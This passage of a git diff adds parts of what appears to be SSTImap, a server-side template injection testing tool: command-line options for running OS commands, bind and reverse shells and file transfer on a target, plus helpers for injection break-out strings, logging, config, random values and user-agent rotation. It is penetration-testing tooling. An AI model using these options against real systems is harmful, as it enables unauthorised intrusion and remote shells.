+payload.add_argument("-S", "--os-cmd", dest="os_cmd",
+ help="Execute an operating system command")
+payload.add_argument("-B", "--bind-shell", dest="bind_shell", nargs=1, type=int, metavar="PORT",
+ help="Spawn a system shell on a TCP PORT of the target and connect to it")
+payload.add_argument("-R", "--reverse-shell", dest="reverse_shell", nargs=2, metavar=("HOST", "PORT",),
+ help="Run a system shell and back-connect to local HOST PORT")
+payload.add_argument("-F", "--force-overwrite", dest="force_overwrite", action="store_true",
+ help="Force file overwrite when uploading")
+payload.add_argument("-U", "--upload", dest="upload", metavar=("LOCAL", "REMOTE",),
+ help="Upload LOCAL to REMOTE files", nargs=2)
+payload.add_argument("-D", "--download", dest="download", metavar=("REMOTE", "LOCAL",),
+ help="Download REMOTE to LOCAL files", nargs=2)
+
+options = parser.parse_args()
diff --git a/utils/closures.py b/utils/closures.py
new file mode 100644
index 0000000..c85d37b
--- /dev/null
+++ b/utils/closures.py
@@ -0,0 +1,19 @@
+# Shared closures
+close_single_double_quotes = ['1\'', '1"']
+integer = ['1']
+string = ['"1"']
+close_dict = ['}', ':1}']
+close_function = [')']
+close_list = [']']
+empty = ['']
+
+# Python triple quotes and if and for loop termination.
+close_triple_quotes = ['1"""', "1'''"]
+if_loops = [':']
+
+# Javascript needs this to bypass assignations
+var = ['a']
+
+# Java needs booleans to bypass conditions and iterable objects
+true_var = ['true']
+iterable_var = ['[1]']
diff --git a/utils/config.py b/utils/config.py
new file mode 100644
index 0000000..1a3c176
--- /dev/null
+++ b/utils/config.py
@@ -0,0 +1,22 @@
+import os
+import json
+
+config = {}
+
+config_folder = os.path.dirname(os.path.realpath(__file__))
+
+# TODO: fix this
+with open(config_folder + "/../config.json", 'r') as stream:
+ try:
+ config = json.load(stream)
+ except json.JSONDecodeError as e:
+ print(f'[!][config] {e}')
+
+base_path = os.path.expanduser(config.get("base_path", "~/.sstimap/"))
+log_response = config.get("log_response", False)
+time_based_blind_delay = config.get("time_based_blind_delay", 4)
+
+if not os.path.isdir(base_path):
+ os.makedirs(base_path)
+
+
diff --git a/utils/loggers.py b/utils/loggers.py
new file mode 100644
index 0000000..6ccc11e
--- /dev/null
+++ b/utils/loggers.py
@@ -0,0 +1,65 @@
+import logging.handlers
+import logging
+import sys
+import utils.config
+import os
+
+log = None
+logfile = None
+logging.addLevelName(21, "SUCCESS")
+logging.addLevelName(22, "FAIL")
+logging.addLevelName(23, "MAJOR")
+logging.addLevelName(24, "POSITIVE")
+logging.addLevelName(25, "NEGATIVE")
+logging.addLevelName(26, "MINOR")
+
+
+class SSTImapFormatter(logging.Formatter):
+ style = '{'
+ FORMATS = {
+ logging.DEBUG: "\033[94m[D]\033[0m [\033[4m{module}\033[0m] {message}",
+ logging.INFO: "\033[94m[!]\033[0m {message}",
+ logging.WARNING: "\033[93m[*]\033[0m [\033[4m{module}\033[0m] {message}",
+ 21: "\033[92m[+]\033[0m {message}",
+ 22: "\033[91m[-]\033[0m {message}",
+ 23: "\033[94m[*]\033[0m {message}",
+ 24: "\033[32m[+]\033[0m {message}",
+ 25: "\033[31m[-]\033[0m {message}",
+ 26: "\033[34m[*]\033[0m {message}",
+ logging.ERROR: "\033[91m[-]\033 [0m[\033[4m{module}\033[0m] {message}",
+ logging.CRITICAL: "\033[91m[!]\033[0m [\033[4m{module}\033[0m] {message}",
+ 'DEFAULT': "\033[91m[{levelname}]\033[0m {message}"
+ }
+
+ def __init__(self):
+ super().__init__(style='{')
+
+ def format(self, record):
+ super().__init__(self.FORMATS.get(record.levelno, self.FORMATS['DEFAULT']), style='{')
+ return logging.Formatter.format(self, record)
+
+
+if not os.path.isdir(utils.config.base_path):
+ os.makedirs(utils.config.base_path)
+
+"""Initialize the handler to dump log to files"""
+log_path = os.path.join(utils.config.base_path, 'sstimap.log')
+file_handler = logging.handlers.RotatingFileHandler(log_path, mode='a', maxBytes=5*1024*1024,
+ backupCount=2, encoding=None, delay=False)
+file_handler.setFormatter(SSTImapFormatter())
+
+stream_handler = logging.StreamHandler(stream=sys.stdout)
+stream_handler.setFormatter(SSTImapFormatter())
+
+log = logging.getLogger('log')
+log.propagate = False
+log.addHandler(file_handler)
+log.addHandler(stream_handler)
+log.setLevel(logging.DEBUG)
+file_handler.setLevel(logging.INFO)
+stream_handler.setLevel(logging.INFO)
+
+dlog = logging.getLogger('dlog')
+dlog.propagate = False
+dlog.addHandler(file_handler)
+dlog.setLevel(logging.INFO)
diff --git a/utils/rand.py b/utils/rand.py
new file mode 100644
index 0000000..71b22f1
--- /dev/null
+++ b/utils/rand.py
@@ -0,0 +1,30 @@
+import random
+import string
+
+
+def randint_n(n):
+ # If the length is 1, starts from 2 to avoid
+ # number repetition on evaluation e.g. 1*8=8
+ # creating false positives
+ if n == 1:
+ range_start = 2
+ else:
+ range_start = 10**(n-1)
+ range_end = (10**n)-1
+ return random.randint(range_start, range_end)
+
+
+letters = string.ascii_letters
+
+
+def randstr_n(n, chars=letters + string.digits):
+ return ''.join(random.choice(chars) for _ in range(n))
+
+
+# Generate static random integers
+# to help filling actions['render']
+randints = [randint_n(2) for _ in range(3)]
+
+# Generate static random integers
+# to help filling actions['render']
+randstrings = [randstr_n(2) for _ in range(3)]
diff --git a/utils/random_agent.py b/utils/random_agent.py
new file mode 100644
index 0000000..d401dad
--- /dev/null
+++ b/utils/random_agent.py
@@ -0,0 +1,18 @@
+import random
+
+user_agents = [ # Default User_Agent values of different desktop browsers
+ "Mozilla/5.0 (MSIE 10.0; Windows NT 6.1; Trident/5.0)",
+ "Mozilla/5.0 (MSIE 9.0; Windows NT 6.1; Trident/5.0)",
+ "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)",
+ "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; WOW64; Trident/4.0; SLCC1)",
+ "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; WOW64; Trident/4.0; SLCC1)",
+ "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:33.0) Gecko/20120101 Firefox/33.0",
+ "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10; rv:33.0) Gecko/20100101 Firefox/33.0",
+ "Opera/9.80 (Windows NT 6.0) Presto/2.12.388 Version/12.14",
+ "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/7046A194A",
+ "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36"
+]
+
+
+def get_agent():
+ return random.choice(user_agents)
diff --git a/utils/strings.py b/utils/strings.py
new file mode 100644
index 0000000..70ac399
--- /dev/null
+++ b/utils/strings.py
@@ -0,0 +1,25 @@
+import base64
+import hashlib
+
+
+def quote(command):
+ return command.replace("\\", "\\\\").replace("\"", "\\\"")
+
+
+def base64encode(data):
+ return base64.b64encode(data)
+
+
+def base64decode(data):
+ return base64.b64decode(data)
+
+
+def chunk_seq(seq, n):
+ """A generator to divide a sequence into chunks of n units."""
+ while seq:
+ yield seq[:n]
+ seq = seq[n:]
+
+
+def md5(data):
+ return hashlib.md5(data).hexdigest()